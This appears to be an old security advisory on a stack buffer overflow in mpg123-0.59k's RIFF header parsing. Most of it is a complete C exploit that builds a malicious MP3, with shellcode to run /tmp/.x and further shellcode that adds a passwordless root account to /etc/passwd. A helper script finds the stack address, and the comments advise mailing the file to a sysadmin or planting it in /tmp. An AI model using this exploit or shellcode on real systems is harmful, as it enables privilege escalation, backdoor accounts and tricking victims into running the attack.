COMMAND
mpg123
SYSTEMS AFFECTED
Systems running mpg123-0.59k
PROBLEM
Joel Eriksson found following. It will create a 56 bytes MP3
that executes /tmp/.x which could for example be a program that
checks the UID and if run by root creates a new account/SUID-shell
/installs backdoors/whatever, and if run by a user adds entries to
their .rhosts or something. Joel has included a 93 bytes buffer
with machinecode to create a new root-account on the system which
he planned to read in and jmp to with the 48 bytes we can use in
the overflow. No time to fix some problems with this method
though, so you'll have to satisfy with this if you don't want to
code it yourself.
This is what causes the overflow (common.c):
[snip]
if(newhead == ('R'<<24)+('I'<<16)+('F'<<8)+'F') {
char buf[40];
fprintf(stderr,"Skipped RIFF header\n");
fread(buf,1,68,filept);
goto read_again;
}
[snip]
If the file has "RIFF" as a header a 40-chars buffer will be
allocated and *68* bytes will be read to it. That's enough to
overwrite the saved returnaddress on the stack. As you can see
it's a rather small buffer to overflow and it may seem hard to do
something useful. Joel managed to make an exploit for the bug
though, it's not particularly useful when the attacker does not
have an account on the system that the MP3 is played on, but an
rm -rf / would probably fit in the 48 bytes we can work with. As
would a routine that reads X more bytes from the still open
filedescriptor and jmp's to the beginning of the code that can do
whatever you want. So a "remote exploit" is certainly possible if
you succeed in some stackprediction. The returnaddress seems to
stay the same on the same system. Joel did a script to get the
%esp when the program returns into the unknown, which can be given
as an argument to my exploit which will subtract 0x4C from it,
which has been proven to work on the two Linux-systems.
Exploit follows:
/*
** Exploit for mpg123-0.59k, Linux x86.
**
--- calcaddr.sh START
#!/bin/sh
perl -e 'print "RIFF" . "A"x56'>bof.mp3
mpg123 bof.mp3 2> /dev/null
echo info all-registers \
|gdb mpg123 core 2>/dev/null|egrep "^esp"|awk '{print $2}'
rm -f bof.mp3
--- calcaddr.sh END
**
** Give the address shown by calcaddr.sh as the first argument to
** this exploit, and it will handle the rest.. (e.g. subtract 0x4C
** from the address given) OBS! If you do what the script does manually
** you will not get the same result. Then CALCOFFSET should be 0x34 instead.
**
** mpg123-0.59o is not vulnerable, previous versions not checked.
**
** DESCRIPTION:
**
** Makes an MP3-file that executes a program when played with mpg123-0.59k.
** Will be more useful when I have succeded in making it add an account,
** the problem is that we only have 48 bytes to work with and my code
** to add a new account takes 93 bytes.
**
** For those who have not understood that yet, the trick is too get
** *someone*else* to play the MP3 using mpg123. You could for example
** mail the file to the sysadmin or just have it in /tmp and name it
** something like k3w1-mUz4c.MP3 or whatever may seem appropriate. :-)
**
** Plan: In the 48 bytes I can put my code I'll make a routine that
** just allocates a buffer, reads in the 93 bytes required to add
** an account and jmp's to the beginning of the code.
**
** (C) 1998/10/31, Joel Eriksson - Chaoz on IRCNet.
**
** Disclaimer: This program is for informational purposes only.
** I can not be held responsible for any use or misuse
** of this program. And so on, the usual stuff..
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#define ADDRLEN 4
#define DEFAULT_OFFSET -0x88;
#define CALCOFFSET -0x4C
/*
** When the address is calculated in a subshell (e.g. using the script
** included with this sourcecode) the offset is -0x4C, but when it is
** calculated manually in the lowest shell-level the offset is -0x34.
*/
#define MP3NAME "bof.mp3"
const char FILLCHAR = '.';
/*
** Standard shellcode, made by Aleph One, published in Phrack #49
** Modified to execute /tmp/.x instead of /bin/sh.
**
** /tmp/.x could for example add an account, create a SUID-root shell
** or if run by an ordinary user add an entry to their .rhosts, create
** a SUID-user shell or something else that seems like a good idea.
*/
char shellcode[] =
"\xeb\x1f" // jmp 0x1f
"\x5e" // popl %esi
"\x89\x76\x08" // movl %esi,0x8(%esi)
"\x31\xc0" // xorl %eax,%eax
"\x88\x46\x07" // movb %al,0x7(%esi)
"\x89\x46\x0c" // movl %eax,0xc(%esi)
"\xb0\x0b" // movb $0xb,%al
"\x89\xf3" // movl %esi,%ebx
"\x8d\x4e\x08" // leal 0x8(%esi),%ecx
"\x8d\x56\x0c" // leal 0xc(%esi),%edx
"\xcd\x80" // int $0x80
"\x31\xdb" // xorl %ebx,%ebx
"\x89\xd8" // movl %ebx,%eax
"\x40" // inc %eax
"\xcd\x80" // int $0x80
"\xe8\xdc\xff\xff\xff" // call -0x24
"/tmp/.x"; // .string "/bin/sh"
// 46 bytes
/*
** To execute something else than /tmp/.x just change the last string,
** but remember that it must be a 7 bytes string. It's possible to
** change the shellcode to execute a command with a longer path than
** 7 bytes by changing the offsets from %esi, which is not too hard
** if you know some assembler.
*/
/*
** Code to add user to passwd-file, made by me. Not used in this
** particular exploit yet, but ideally it'd be read in and executed
** by the 48 bytes that I have used to execute a shell in this exploit.
** This way the exploit becomes more interesting since it can be exploited
** remotely. We need to do some stackprediction though..
**
** If someone makes an exploit that uses this code, make sure to include
** me in the greetings.
*/
char addusercode[] =
"\xeb\x3d" // jmp 0x3d
"\x5e" // popl %esi
"\x89\x76\x1a" // movl %esi,0x1a(%esi)
"\x31\xc0" // xorl %eax,%eax
"\x88\x46\x0b" // movb %al,0x0b(%esi)
"\x83\xc6\x0c" // addl $0x0c,%esi
"\x89\x76\x12" // movl %esi,0x12(%esi)
"\x83\xee\x0c" // subl $0x0c,%esi
"\x31\xc0" // xorl %eax,%eax
"\x88\x46\x19" // movb %al,0x19(%esi)
"\x8b\x5e\x1a" // movl 0x1a(%esi),%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\xb5\x04" // movb $0x4,%ch
"\xb1\x01" // movb $0x1,%cl
"\x31\xc0" // xorl %eax,%eax
"\xb0\x05" // movb $0x5,%al
"\xcd\x80" // int $0x80
"\x89\xc3" // movl %eax,%ebx
"\x8b\x4e\x1e" // movl 0x1e(%esi),%ecx
"\x31\xd2" // xorl %edx,%edx
"\xb2\x0d" // movb $13,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x04" // movb $0x4,%al
"\xcd\x80" // int $0x80
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // movb $0x1,%al
"\xcd\x80" // int $0x80
"\xe8\xbe\xff\xff\xff" // call -0x46
"/etc/passwd." // .string "/etc/passwd"
"r00t::0:0:::\x0a"; // .string "r00t::0:0:::\n"
// 93 bytes
unsigned long getsp()
{
__asm("mov %esp, %eax");
}
int main(int argc, char **argv)
{
unsigned long addr;
char *addr_ptr = (char*)&addr;
int fd, i;
char *filename = MP3NAME;
addr = getsp() + DEFAULT_OFFSET;
if(argc > 1) {
/*
** This is UGLY coding. :-) strtol() overflows for some reason
** when just doing one strtol() on argv[1].
*/
char *strptr = argv[1];
char *numptr;
char cur[3];
char temp;
int i;
memset(addr_ptr, 0, ADDRLEN);
memset(cur, 0, 3);
if(!strncmp(strptr, "0x", 2)) strptr += 2;
for(i=0; i<ADDRLEN; i++, strptr+=2) {
strncpy(cur, strptr, 2);
numptr = (char*)&addr_ptr[(ADDRLEN-1)-i];
*numptr = strtol(cur, (char**)NULL, 16) & 0xFF;
}
addr += CALCOFFSET;
} else {
fprintf(stderr, "Warning: Returnaddress may not be accurate.\n");
fprintf(stderr, "Use calcaddr.sh (included) to be more precise.\n\n");
}
if(argc > 2) filename = argv[2];
if(argc > 3) {
fprintf(stderr, "Usage: %s [<address>] [<filename>]\n", argv[0]);
exit(1);
}
if((fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0644)) == -1) {
perror("open");
fprintf(stderr, "Could not create %s\n", filename);
exit(1);
}
printf("Using address: 0x%lx\n", addr);
write(fd, "RIFF", 4);
write(fd, shellcode, strlen(shellcode));
for(i=0; i<48-strlen(shellcode); i++)
write(fd, &FILLCHAR, 1);
for(i=0; i<4; i++)
write(fd, &addr_ptr[i], 1);
printf("\nMP3 created in %s.\n", filename);
exit(0);
}
SOLUTION
Nothing yet unless you disable mpg. The most recent version,
mpg123-0.59o (at moment of writing) is not vulnerable though.